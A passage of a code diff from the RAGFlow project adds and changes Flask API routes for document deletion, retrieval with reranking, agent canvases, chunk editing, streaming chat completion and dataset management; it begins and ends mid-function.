+    desc = req.get("desc", True)
+    keywords = req.get("keywords", "")
+
+    try:
+        docs, tol = DocumentService.get_by_kb_id(
+            kb_id, page_number, items_per_page, orderby, desc, keywords)
+        docs = [{"doc_id": doc['id'], "doc_name": doc['name']} for doc in docs]
+
+        return get_json_result(data={"total": tol, "docs": docs})
+    
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/document', methods=['DELETE'])
+# @login_required
+def document_rm():
+    token = request.headers.get('Authorization').split()[1]
+    objs = APIToken.query(token=token)
+    if not objs:
+        return get_json_result(
+            data=False, retmsg='Token is not valid!"', retcode=RetCode.AUTHENTICATION_ERROR)
+
+    tenant_id = objs[0].tenant_id
+    req = request.json
+    doc_ids = []
+    try:
+        doc_ids = [DocumentService.get_doc_id_by_doc_name(doc_name) for doc_name in req.get("doc_names", [])]
+        for doc_id in req.get("doc_ids", []):
+            if doc_id not in doc_ids:
+                doc_ids.append(doc_id)
+
+        if not doc_ids:
+            return get_json_result(
+                data=False, retmsg="Can't find doc_names or doc_ids"
+            )
+
+    except Exception as e:
+        return server_error_response(e)
+
+    root_folder = FileService.get_root_folder(tenant_id)
+    pf_id = root_folder["id"]
+    FileService.init_knowledgebase_docs(pf_id, tenant_id)
+
+    errors = ""
+    for doc_id in doc_ids:
+        try:
+            e, doc = DocumentService.get_by_id(doc_id)
+            if not e:
+                return get_data_error_result(retmsg="Document not found!")
+            tenant_id = DocumentService.get_tenant_id(doc_id)
+            if not tenant_id:
+                return get_data_error_result(retmsg="Tenant not found!")
+
+            b, n = File2DocumentService.get_minio_address(doc_id=doc_id)
+
+            if not DocumentService.remove_document(doc, tenant_id):
+                return get_data_error_result(
+                    retmsg="Database error (Document removal)!")
+
+            f2d = File2DocumentService.get_by_document_id(doc_id)
+            FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id])
+            File2DocumentService.delete_by_document_id(doc_id)
+
+            MINIO.rm(b, n)
+        except Exception as e:
+            errors += str(e)
+
+    if errors:
+        return get_json_result(data=False, retmsg=errors, retcode=RetCode.SERVER_ERROR)
+
+    return get_json_result(data=True)
+
+
+@manager.route('/completion_aibotk', methods=['POST'])
+@validate_request("Authorization", "conversation_id", "word")
+def completion_faq():
+    import base64
+    req = request.json
+
+    token = req["Authorization"]
+    objs = APIToken.query(token=token)
+    if not objs:
+        return get_json_result(
+            data=False, retmsg='Token is not valid!"', retcode=RetCode.AUTHENTICATION_ERROR)
+
+    e, conv = API4ConversationService.get_by_id(req["conversation_id"])
+    if not e:
+        return get_data_error_result(retmsg="Conversation not found!")
+    if "quote" not in req: req["quote"] = True
+
+    msg = []
+    msg.append({"role": "user", "content": req["word"]})
+
+    try:
+        conv.message.append(msg[-1])
+        e, dia = DialogService.get_by_id(conv.dialog_id)
+        if not e:
+            return get_data_error_result(retmsg="Dialog not found!")
+        del req["conversation_id"]
+
+        if not conv.reference:
+            conv.reference = []
+        conv.message.append({"role": "assistant", "content": ""})
+        conv.reference.append({"chunks": [], "doc_aggs": []})
+
+        def fillin_conv(ans):
+            nonlocal conv
+            if not conv.reference:
+                conv.reference.append(ans["reference"])
+            else: conv.reference[-1] = ans["reference"]
+            conv.message[-1] = {"role": "assistant", "content": ans["answer"]}
+
+        data_type_picture = {
+            "type": 3,
+            "url": "base64 content"
+        }
+        data = [
+            {
+                "type": 1,
+                "content": ""
+            }
+        ]
+        ans = ""
+        for a in chat(dia, msg, stream=False, **req):
+            ans = a
+            break
+        data[0]["content"] += re.sub(r'##\d\$\$', '', ans["answer"])
+        fillin_conv(ans)
+        API4ConversationService.append_message(conv.id, conv.to_dict())
+
+        chunk_idxs = [int(match[2]) for match in re.findall(r'##\d\$\$', ans["answer"])]
+        for chunk_idx in chunk_idxs[:1]:
+            if ans["reference"]["chunks"][chunk_idx]["img_id"]:
+                try:
+                    bkt, nm = ans["reference"]["chunks"][chunk_idx]["img_id"].split("-")
+                    response = MINIO.get(bkt, nm)
+                    data_type_picture["url"] = base64.b64encode(response).decode('utf-8')
+                    data.append(data_type_picture)
+                    break
+                except Exception as e:
+                    return server_error_response(e)
+
+        response = {"code": 200, "msg": "success", "data": data}
+        return response
+
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/retrieval', methods=['POST'])
+@validate_request("kb_id", "question")
+def retrieval():
+    token = request.headers.get('Authorization').split()[1]
+    objs = APIToken.query(token=token)
+    if not objs:
+        return get_json_result(
+            data=False, retmsg='Token is not valid!"', retcode=RetCode.AUTHENTICATION_ERROR)
+
+    req = request.json
+    kb_id = req.get("kb_id")
+    doc_ids = req.get("doc_ids", [])
+    question = req.get("question")
+    page = int(req.get("page", 1))
+    size = int(req.get("size", 30))
+    similarity_threshold = float(req.get("similarity_threshold", 0.2))
+    vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3))
+    top = int(req.get("top_k", 1024))
+
+    try:
+        e, kb = KnowledgebaseService.get_by_id(kb_id)
+        if not e:
+            return get_data_error_result(retmsg="Knowledgebase not found!")
+
+        embd_mdl = TenantLLMService.model_instance(
+            kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id)
+
+        rerank_mdl = None
+        if req.get("rerank_id"):
+            rerank_mdl = TenantLLMService.model_instance(
+                kb.tenant_id, LLMType.RERANK.value, llm_name=req["rerank_id"])
+
+        if req.get("keyword", False):
+            chat_mdl = TenantLLMService.model_instance(kb.tenant_id, LLMType.CHAT)
+            question += keyword_extraction(chat_mdl, question)
+
+        ranks = retrievaler.retrieval(question, embd_mdl, kb.tenant_id, [kb_id], page, size,
+                                      similarity_threshold, vector_similarity_weight, top,
+                                      doc_ids, rerank_mdl=rerank_mdl)
+        for c in ranks["chunks"]:
+            if "vector" in c:
+                del c["vector"]
+
+        return get_json_result(data=ranks)
+    except Exception as e:
+        if str(e).find("not_found") > 0:
+            return get_json_result(data=False, retmsg=f'No chunk found! Check the chunk status please!',
+                                   retcode=RetCode.DATA_ERROR)
+        return server_error_response(e)
+

api/apps/canvas_app.py

@@ -0,0 +1,160 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+from functools import partial
+from flask import request, Response
+from flask_login import login_required, current_user
+from api.db.services.canvas_service import CanvasTemplateService, UserCanvasService
+from api.utils import get_uuid
+from api.utils.api_utils import get_json_result, server_error_response, validate_request
+from agent.canvas import Canvas
+
+
+@manager.route('/templates', methods=['GET'])
+@login_required
+def templates():
+    return get_json_result(data=[c.to_dict() for c in CanvasTemplateService.get_all()])
+
+
+@manager.route('/list', methods=['GET'])
+@login_required
+def canvas_list():
+    return get_json_result(data=sorted([c.to_dict() for c in \
+                                 UserCanvasService.query(user_id=current_user.id)], key=lambda x: x["update_time"]*-1)
+                           )
+
+
+@manager.route('/rm', methods=['POST'])
+@validate_request("canvas_ids")
+@login_required
+def rm():
+    for i in request.json["canvas_ids"]:
+        UserCanvasService.delete_by_id(i)
+    return get_json_result(data=True)
+
+
+@manager.route('/set', methods=['POST'])
+@validate_request("dsl", "title")
+@login_required
+def save():
+    req = request.json
+    req["user_id"] = current_user.id
+    if not isinstance(req["dsl"], str): req["dsl"] = json.dumps(req["dsl"], ensure_ascii=False)
+
+    req["dsl"] = json.loads(req["dsl"])
+    if "id" not in req:
+        if UserCanvasService.query(user_id=current_user.id, title=req["title"].strip()):
+            return server_error_response(ValueError("Duplicated title."))
+        req["id"] = get_uuid()
+        if not UserCanvasService.save(**req):
+            return server_error_response("Fail to save canvas.")
+    else:
+        UserCanvasService.update_by_id(req["id"], req)
+
+    return get_json_result(data=req)
+
+
+@manager.route('/get/<canvas_id>', methods=['GET'])
+@login_required
+def get(canvas_id):
+    e, c = UserCanvasService.get_by_id(canvas_id)
+    if not e:
+        return server_error_response("canvas not found.")
+    return get_json_result(data=c.to_dict())
+
+
+@manager.route('/completion', methods=['POST'])
+@validate_request("id")
+@login_required
+def run():
+    req = request.json
+    stream = req.get("stream", True)
+    e, cvs = UserCanvasService.get_by_id(req["id"])
+    if not e:
+        return server_error_response("canvas not found.")
+
+    if not isinstance(cvs.dsl, str):
+        cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False)
+
+    final_ans = {"reference": [], "content": ""}
+    try:
+        canvas = Canvas(cvs.dsl, current_user.id)
+        if "message" in req:
+            canvas.messages.append({"role": "user", "content": req["message"]})
+            canvas.add_user_input(req["message"])
+        answer = canvas.run(stream=stream)
+        print(canvas)
+    except Exception as e:
+        return server_error_response(e)
+
+    assert answer is not None, "Nothing. Is it over?"
+
+    if stream:
+        assert isinstance(answer, partial), "Nothing. Is it over?"
+
+        def sse():
+            nonlocal answer, cvs
+            try:
+                for ans in answer():
+                    for k in ans.keys():
+                        final_ans[k] = ans[k]
+                    ans = {"answer": ans["content"], "reference": ans.get("reference", [])}
+                    yield "data:" + json.dumps({"retcode": 0, "retmsg": "", "data": ans}, ensure_ascii=False) + "\n\n"
+
+                canvas.messages.append({"role": "assistant", "content": final_ans["content"]})
+                if final_ans.get("reference"):
+                    canvas.reference.append(final_ans["reference"])
+                cvs.dsl = json.loads(str(canvas))
+                UserCanvasService.update_by_id(req["id"], cvs.to_dict())
+            except Exception as e:
+                yield "data:" + json.dumps({"retcode": 500, "retmsg": str(e),
+                                            "data": {"answer": "**ERROR**: " + str(e), "reference": []}},
+                                           ensure_ascii=False) + "\n\n"
+            yield "data:" + json.dumps({"retcode": 0, "retmsg": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+        resp = Response(sse(), mimetype="text/event-stream")
+        resp.headers.add_header("Cache-control", "no-cache")
+        resp.headers.add_header("Connection", "keep-alive")
+        resp.headers.add_header("X-Accel-Buffering", "no")
+        resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+        return resp
+
+    final_ans["content"] = "\n".join(answer["content"]) if "content" in answer else ""
+    canvas.messages.append({"role": "assistant", "content": final_ans["content"]})
+    if final_ans.get("reference"):
+        canvas.reference.append(final_ans["reference"])
+    cvs.dsl = json.loads(str(canvas))
+    UserCanvasService.update_by_id(req["id"], cvs.to_dict())
+    return get_json_result(data={"answer": final_ans["content"], "reference": final_ans.get("reference", [])})
+
+
+@manager.route('/reset', methods=['POST'])
+@validate_request("id")
+@login_required
+def reset():
+    req = request.json
+    try:
+        e, user_canvas = UserCanvasService.get_by_id(req["id"])
+        if not e:
+            return server_error_response("canvas not found.")
+
+        canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id)
+        canvas.reset()
+        req["dsl"] = json.loads(str(canvas))
+        UserCanvasService.update_by_id(req["id"], {"dsl": req["dsl"]})
+        return get_json_result(data=req["dsl"])
+    except Exception as e:
+        return server_error_response(e)

api/apps/chunk_app.py

@@ -14,13 +14,15 @@
 #  limitations under the License.
 #
 import datetime
+import json
+import traceback
 
 from flask import request
 from flask_login import login_required, current_user
 from elasticsearch_dsl import Q
 
 from rag.app.qa import rmPrefix, beAdoc
-from rag.nlp import search, rag_tokenizer
+from rag.nlp import search, rag_tokenizer, keyword_extraction
 from rag.utils.es_conn import ELASTICSEARCH
 from rag.utils import rmSpace
 from api.db import LLMType, ParserType
@@ -29,7 +31,7 @@ from api.db.services.llm_service import TenantLLMService
 from api.db.services.user_service import UserTenantService
 from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
 from api.db.services.document_service import DocumentService
-from api.settings import RetCode, retrievaler
+from api.settings import RetCode, retrievaler, kg_retrievaler
 from api.utils.api_utils import get_json_result
 import hashlib
 import re
@@ -38,7 +40,7 @@ import re
 @manager.route('/list', methods=['POST'])
 @login_required
 @validate_request("doc_id")
-def list():
+def list_chunk():
     req = request.json
     doc_id = req["doc_id"]
     page = int(req.get("page", 1))
@@ -61,7 +63,8 @@ def list():
         for id in sres.ids:
             d = {
                 "chunk_id": id,
-                "content_with_weight": rmSpace(sres.highlight[id]) if question and id in  sres.highlight else sres.field[id].get(
+                "content_with_weight": rmSpace(sres.highlight[id]) if question and id in sres.highlight else sres.field[
+                    id].get(
                     "content_with_weight", ""),
                 "doc_id": sres.field[id]["doc_id"],
                 "docnm_kwd": sres.field[id]["docnm_kwd"],
@@ -136,8 +139,11 @@ def set():
         tenant_id = DocumentService.get_tenant_id(req["doc_id"])
         if not tenant_id:
             return get_data_error_result(retmsg="Tenant not found!")
+
+        embd_id = DocumentService.get_embd_id(req["doc_id"])
         embd_mdl = TenantLLMService.model_instance(
-            tenant_id, LLMType.EMBEDDING.value)
+            tenant_id, LLMType.EMBEDDING.value, embd_id)
+
         e, doc = DocumentService.get_by_id(req["doc_id"])
         if not e:
             return get_data_error_result(retmsg="Document not found!")
@@ -150,7 +156,7 @@ def set():
             if len(arr) != 2:
                 return get_data_error_result(
                     retmsg="Q&A must be separated by TAB/ENTER key.")
-            q, a = rmPrefix(arr[0]), rmPrefix[arr[1]]
+            q, a = rmPrefix(arr[0]), rmPrefix(arr[1])
             d = beAdoc(d, arr[0], arr[1], not any(
                 [rag_tokenizer.is_chinese(t) for t in q + a]))
 
@@ -182,13 +188,19 @@ def switch():
 
 @manager.route('/rm', methods=['POST'])
 @login_required
-@validate_request("chunk_ids")
+@validate_request("chunk_ids", "doc_id")
 def rm():
     req = request.json
     try:
         if not ELASTICSEARCH.deleteByQuery(
                 Q("ids", values=req["chunk_ids"]), search.index_name(current_user.id)):
             return get_data_error_result(retmsg="Index updating failure")
+        e, doc = DocumentService.get_by_id(req["doc_id"])
+        if not e:
+            return get_data_error_result(retmsg="Document not found!")
+        deleted_chunk_ids = req["chunk_ids"]
+        chunk_number = len(deleted_chunk_ids)
+        DocumentService.decrement_chunk_num(doc.id, doc.kb_id, 1, chunk_number, 0)
         return get_json_result(data=True)
     except Exception as e:
         return server_error_response(e)
@@ -222,13 +234,17 @@ def create():
         if not tenant_id:
             return get_data_error_result(retmsg="Tenant not found!")
 
+        embd_id = DocumentService.get_embd_id(req["doc_id"])
         embd_mdl = TenantLLMService.model_instance(
-            tenant_id, LLMType.EMBEDDING.value)
+            tenant_id, LLMType.EMBEDDING.value, embd_id)
+
         v, c = embd_mdl.encode([doc.name, req["content_with_weight"]])
-        DocumentService.increment_chunk_num(req["doc_id"], doc.kb_id, c, 1, 0)
         v = 0.1 * v[0] + 0.9 * v[1]
         d["q_%d_vec" % len(v)] = v.tolist()
         ELASTICSEARCH.upsert([d], search.index_name(tenant_id))
+
+        DocumentService.increment_chunk_num(
+            doc.id, doc.kb_id, c, 1, 0)
         return get_json_result(data={"chunk_id": chunck_id})
     except Exception as e:
         return server_error_response(e)
@@ -254,8 +270,20 @@ def retrieval_test():
 
         embd_mdl = TenantLLMService.model_instance(
             kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id)
-        ranks = retrievaler.retrieval(question, embd_mdl, kb.tenant_id, [kb_id], page, size, similarity_threshold,
-                                      vector_similarity_weight, top, doc_ids)
+
+        rerank_mdl = None
+        if req.get("rerank_id"):
+            rerank_mdl = TenantLLMService.model_instance(
+                kb.tenant_id, LLMType.RERANK.value, llm_name=req["rerank_id"])
+
+        if req.get("keyword", False):
+            chat_mdl = TenantLLMService.model_instance(kb.tenant_id, LLMType.CHAT)
+            question += keyword_extraction(chat_mdl, question)
+
+        retr = retrievaler if kb.parser_id != ParserType.KG else kg_retrievaler
+        ranks = retr.retrieval(question, embd_mdl, kb.tenant_id, [kb_id], page, size,
+                               similarity_threshold, vector_similarity_weight, top,
+                               doc_ids, rerank_mdl=rerank_mdl)
         for c in ranks["chunks"]:
             if "vector" in c:
                 del c["vector"]
@@ -266,3 +294,25 @@ def retrieval_test():
             return get_json_result(data=False, retmsg=f'No chunk found! Check the chunk status please!',
                                    retcode=RetCode.DATA_ERROR)
         return server_error_response(e)
+
+
+@manager.route('/knowledge_graph', methods=['GET'])
+@login_required
+def knowledge_graph():
+    doc_id = request.args["doc_id"]
+    req = {
+        "doc_ids":[doc_id],
+        "knowledge_graph_kwd": ["graph", "mind_map"]
+    }
+    tenant_id = DocumentService.get_tenant_id(doc_id)
+    sres = retrievaler.search(req, search.index_name(tenant_id))
+    obj = {"graph": {}, "mind_map": {}}
+    for id in sres.ids[:2]:
+        ty = sres.field[id]["knowledge_graph_kwd"]
+        try:
+            obj[ty] = json.loads(sres.field[id]["content_with_weight"])
+        except Exception as e:
+            print(traceback.format_exc(), flush=True)
+
+    return get_json_result(data=obj)
+

api/apps/conversation_app.py

@@ -13,12 +13,14 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
-from flask import request
+from copy import deepcopy
+from flask import request, Response
 from flask_login import login_required
 from api.db.services.dialog_service import DialogService, ConversationService, chat
 from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
 from api.utils import get_uuid
 from api.utils.api_utils import get_json_result
+import json
 
 
 @manager.route('/set', methods=['POST'])
@@ -103,9 +105,12 @@ def list_convsersation():
 
 @manager.route('/completion', methods=['POST'])
 @login_required
-@validate_request("conversation_id", "messages")
+#@validate_request("conversation_id", "messages")
 def completion():
     req = request.json
+    #req = {"conversation_id": "9aaaca4c11d311efa461fa163e197198", "messages": [
+    #    {"role": "user", "content": "上海有吗？"}
+    #]}
     msg = []
     for m in req["messages"]:
         if m["role"] == "system":
@@ -117,19 +122,54 @@ def completion():
         e, conv = ConversationService.get_by_id(req["conversation_id"])
         if not e:
             return get_data_error_result(retmsg="Conversation not found!")
-        conv.message.append(msg[-1])
+        conv.message.append(deepcopy(msg[-1]))
         e, dia = DialogService.get_by_id(conv.dialog_id)
         if not e:
             return get_data_error_result(retmsg="Dialog not found!")
         del req["conversation_id"]
         del req["messages"]
-        ans = chat(dia, msg, **req)
+
         if not conv.reference:
             conv.reference = []
-        conv.reference.append(ans["reference"])
-        conv.message.append({"role": "assistant", "content": ans["answer"]})
-        ConversationService.update_by_id(conv.id, conv.to_dict())
-        return get_json_result(data=ans)
+        conv.message.append({"role": "assistant", "content": ""})
+        conv.reference.append({"chunks": [], "doc_aggs": []})
+
+        def fillin_conv(ans):
+            nonlocal conv
+            if not conv.reference:
+                conv.reference.append(ans["reference"])
+            else: conv.reference[-1] = ans["reference"]
+            conv.message[-1] = {"role": "assistant", "content": ans["answer"]}
+
+        def stream():
+            nonlocal dia, msg, req, conv
+            try:
+                for ans in chat(dia, msg, True, **req):
+                    fillin_conv(ans)
+                    yield "data:"+json.dumps({"retcode": 0, "retmsg": "", "data": ans}, ensure_ascii=False) + "\n\n"
+                ConversationService.update_by_id(conv.id, conv.to_dict())
+            except Exception as e:
+                yield "data:" + json.dumps({"retcode": 500, "retmsg": str(e),
+                                            "data": {"answer": "**ERROR**: "+str(e), "reference": []}},
+                                           ensure_ascii=False) + "\n\n"
+            yield "data:"+json.dumps({"retcode": 0, "retmsg": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+        if req.get("stream", True):
+            resp = Response(stream(), mimetype="text/event-stream")
+            resp.headers.add_header("Cache-control", "no-cache")
+            resp.headers.add_header("Connection", "keep-alive")
+            resp.headers.add_header("X-Accel-Buffering", "no")
+            resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+            return resp
+
+        else:
+            answer = None
+            for ans in chat(dia, msg, **req):
+                answer = ans
+                fillin_conv(ans)
+                ConversationService.update_by_id(conv.id, conv.to_dict())
+                break
+            return get_json_result(data=answer)
     except Exception as e:
         return server_error_response(e)
 

api/apps/dataset_api.py

@@ -0,0 +1,876 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+import os
+import pathlib
+import re
+import warnings
+from functools import partial
+from io import BytesIO
+
+from elasticsearch_dsl import Q
+from flask import request, send_file
+from flask_login import login_required, current_user
+from httpx import HTTPError
+
+from api.contants import NAME_LENGTH_LIMIT
+from api.db import FileType, ParserType, FileSource, TaskStatus
+from api.db import StatusEnum
+from api.db.db_models import File
+from api.db.services import duplicate_name
+from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.user_service import TenantService
+from api.settings import RetCode
+from api.utils import get_uuid
+from api.utils.api_utils import construct_json_result, construct_error_response
+from api.utils.api_utils import construct_result, validate_request
+from api.utils.file_utils import filename_type, thumbnail
+from rag.app import book, laws, manual, naive, one, paper, presentation, qa, resume, table, picture, audio
+from rag.nlp import search
+from rag.utils.es_conn import ELASTICSEARCH
+from rag.utils.minio_conn import MINIO
+
+MAXIMUM_OF_UPLOADING_FILES = 256
+
+
+# ------------------------------ create a dataset ---------------------------------------
+
+@manager.route("/", methods=["POST"])
+@login_required  # use login
+@validate_request("name")  # check name key
+def create_dataset():
+    # Check if Authorization header is present
+    authorization_token = request.headers.get("Authorization")
+    if not authorization_token:
+        return construct_json_result(code=RetCode.AUTHENTICATION_ERROR, message="Authorization header is missing.")
+
+    # TODO: Login or API key
+    # objs = APIToken.query(token=authorization_token)
+    #
+    # # Authorization error
+    # if not objs:
+    #     return construct_json_result(code=RetCode.AUTHENTICATION_ERROR, message="Token is invalid.")
+    #
+    # tenant_id = objs[0].tenant_id
+
+    tenant_id = current_user.id
+    request_body = request.json
+
+    # In case that there's no name
+    if "name" not in request_body:
+        return construct_json_result(code=RetCode.DATA_ERROR, message="Expected 'name' field in request body")
+
+    dataset_name = request_body["name"]
+
+    # empty dataset_name
+    if not dataset_name:
+        return construct_json_result(code=RetCode.DATA_ERROR, message="Empty dataset name")
+
+    # In case that there's space in the head or the tail
+    dataset_name = dataset_name.strip()
+
+    # In case that the length of the name exceeds the limit
+    dataset_name_length = len(dataset_name)
+    if dataset_name_length > NAME_LENGTH_LIMIT:
+        return construct_json_result(
+            code=RetCode.DATA_ERROR,
+            message=f"Dataset name: {dataset_name} with length {dataset_name_length} exceeds {NAME_LENGTH_LIMIT}!")
+
+    # In case that there are other fields in the data-binary
+    if len(request_body.keys()) > 1:
+        name_list = []
+        for key_name in request_body.keys():
+            if key_name != "name":
+                name_list.append(key_name)
+        return construct_json_result(code=RetCode.DATA_ERROR,
+                                     message=f"fields: {name_list}, are not allowed in request body.")
+
+    # If there is a duplicate name, it will modify it to make it unique
+    request_body["name"] = duplicate_name(
+        KnowledgebaseService.query,
+        name=dataset_name,
+        tenant_id=tenant_id,
+        status=StatusEnum.VALID.value)
+    try:
+        request_body["id"] = get_uuid()
+        request_body["tenant_id"] = tenant_id
+        request_body["created_by"] = tenant_id
+        exist, t = TenantService.get_by_id(tenant_id)
+        if not exist:
+            return construct_result(code=RetCode.AUTHENTICATION_ERROR, message="Tenant not found.")
+        request_body["embd_id"] = t.embd_id
+        if not KnowledgebaseService.save(**request_body):
+            # failed to create new dataset
+            return construct_result()
+        return construct_json_result(code=RetCode.SUCCESS,
+                                     data={"dataset_name": request_body["name"], "dataset_id": request_body["id"]})
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# -----------------------------list datasets-------------------------------------------------------
+
+@manager.route("/", methods=["GET"])
+@login_required
+def list_datasets():
+    offset = request.args.get("offset", 0)
+    count = request.args.get("count", -1)
+    orderby = request.args.get("orderby", "create_time")
+    desc = request.args.get("desc", True)
+    try:
+        tenants = TenantService.get_joined_tenants_by_user_id(current_user.id)
+        datasets = KnowledgebaseService.get_by_tenant_ids_by_offset(
+            [m["tenant_id"] for m in tenants], current_user.id, int(offset), int(count), orderby, desc)
+        return construct_json_result(data=datasets, code=RetCode.SUCCESS, message=f"List datasets successfully!")
+    except Exception as e:
+        return construct_error_response(e)
+    except HTTPError as http_err:
+        return construct_json_result(http_err)
+
+
+# ---------------------------------delete a dataset ----------------------------
+
+@manager.route("/<dataset_id>", methods=["DELETE"])
+@login_required
+def remove_dataset(dataset_id):
+    try:
+        datasets = KnowledgebaseService.query(created_by=current_user.id, id=dataset_id)
+
+        # according to the id, searching for the dataset
+        if not datasets:
+            return construct_json_result(message=f"The dataset cannot be found for your current account.",
+                                         code=RetCode.OPERATING_ERROR)
+
+        # Iterating the documents inside the dataset
+        for doc in DocumentService.query(kb_id=dataset_id):
+            if not DocumentService.remove_document(doc, datasets[0].tenant_id):
+                # the process of deleting failed
+                return construct_json_result(code=RetCode.DATA_ERROR,
+                                             message="There was an error during the document removal process. "
+                                                     "Please check the status of the RAGFlow server and try the removal again.")
+            # delete the other files
+            f2d = File2DocumentService.get_by_document_id(doc.id)
+            FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id])
+            File2DocumentService.delete_by_document_id(doc.id)
+
+        # delete the dataset
+        if not KnowledgebaseService.delete_by_id(dataset_id):
+            return construct_json_result(code=RetCode.DATA_ERROR,
+                                         message="There was an error during the dataset removal process. "
+                                                 "Please check the status of the RAGFlow server and try the removal again.")
+        # success
+        return construct_json_result(code=RetCode.SUCCESS, message=f"Remove dataset: {dataset_id} successfully")
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# ------------------------------ get details of a dataset ----------------------------------------
+
+@manager.route("/<dataset_id>", methods=["GET"])
+@login_required
+def get_dataset(dataset_id):
+    try:
+        dataset = KnowledgebaseService.get_detail(dataset_id)
+        if not dataset:
+            return construct_json_result(code=RetCode.DATA_ERROR, message="Can't find this dataset!")
+        return construct_json_result(data=dataset, code=RetCode.SUCCESS)
+    except Exception as e:
+        return construct_json_result(e)
+
+
+# ------------------------------ update a dataset --------------------------------------------
+
+@manager.route("/<dataset_id>", methods=["PUT"])
+@login_required
+def update_dataset(dataset_id):
+    req = request.json
+    try:
+        # the request cannot be empty
+        if not req:
+            return construct_json_result(code=RetCode.DATA_ERROR, message="Please input at least one parameter that "
+                                                                          "you want to update!")
+        # check whether the dataset can be found
+        if not KnowledgebaseService.query(created_by=current_user.id, id=dataset_id):
+            return construct_json_result(message=f"Only the owner of knowledgebase is authorized for this operation!",
+                                         code=RetCode.OPERATING_ERROR)
+
+        exist, dataset = KnowledgebaseService.get_by_id(dataset_id)
+        # check whether there is this dataset
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR, message="This dataset cannot be found!")
+
+        if "name" in req:
+            name = req["name"].strip()
+            # check whether there is duplicate name
+            if name.lower() != dataset.name.lower() \
+                    and len(KnowledgebaseService.query(name=name, tenant_id=current_user.id,
+                                                       status=StatusEnum.VALID.value)) > 1:
+                return construct_json_result(code=RetCode.DATA_ERROR,
+                                             message=f"The name: {name.lower()} is already used by other "
+                                                     f"datasets. Please choose a different name.")
+
+        dataset_updating_data = {}
+        chunk_num = req.get("chunk_num")
+        # modify the value of 11 parameters
+
+        # 2 parameters: embedding id and chunk method
+        # only if chunk_num is 0, the user can update the embedding id
+        if req.get("embedding_model_id"):
+            if chunk_num == 0:
+                dataset_updating_data["embd_id"] = req["embedding_model_id"]
+            else:
+                return construct_json_result(code=RetCode.DATA_ERROR,
+                                             message="You have already parsed the document in this "
+                                                     "dataset, so you cannot change the embedding "
+                                                     "model.")
+        # only if chunk_num is 0, the user can update the chunk_method
+        if "chunk_method" in req:
+            type_value = req["chunk_method"]
+            if is_illegal_value_for_enum(type_value, ParserType):
+                return construct_json_result(message=f"Illegal value {type_value} for 'chunk_method' field.",
+                                             code=RetCode.DATA_ERROR)
+            if chunk_num != 0:
+                construct_json_result(code=RetCode.DATA_ERROR, message="You have already parsed the document "
+                                                                       "in this dataset, so you cannot "
+                                                                       "change the chunk method.")
+            dataset_updating_data["parser_id"] = req["template_type"]
+
+        # convert the photo parameter to avatar
+        if req.get("photo"):
+            dataset_updating_data["avatar"] = req["photo"]
+
+        # layout_recognize
+        if "layout_recognize" in req:
+            if "parser_config" not in dataset_updating_data:
+                dataset_updating_data['parser_config'] = {}
+            dataset_updating_data['parser_config']['layout_recognize'] = req['layout_recognize']
+
+        # TODO: updating use_raptor needs to construct a class
+
+        # 6 parameters
+        for key in ["name", "language", "description", "permission", "id", "token_num"]:
+            if key in req:
+                dataset_updating_data[key] = req.get(key)
+
+        # update
+        if not KnowledgebaseService.update_by_id(dataset.id, dataset_updating_data):
+            return construct_json_result(code=RetCode.OPERATING_ERROR, message="Failed to update! "
+                                                                               "Please check the status of RAGFlow "
+                                                                               "server and try again!")
+
+        exist, dataset = KnowledgebaseService.get_by_id(dataset.id)
+        if not exist:
+            return construct_json_result(code=RetCode.DATA_ERROR, message="Failed to get the dataset "
+                                                                          "using the dataset ID.")
+
+        return construct_json_result(data=dataset.to_json(), code=RetCode.SUCCESS)
+    except Exception as e:
+        return construct_error_response(e)
+
+
+# --------------------------------content management ----------------------------------------------
+
+# ----------------------------upload files-----------------------------------------------------
+@manager.route("/<dataset_id>/documents/", methods=["POST"])
+@login_required
+def upload_documents(dataset_id):
+    # no files
+    if not request.files:
+        return construct_json_result(
+            message="There is no file!", code=RetCode.ARGUMENT_ERROR)
+
+    # the number of uploading files exceeds the limit
+    file_objs = request.files.getlist("file")
+    num_file_objs = len(file_objs)
+
+    if num_file_objs > MAXIMUM_OF_UPLOADING_FILES:
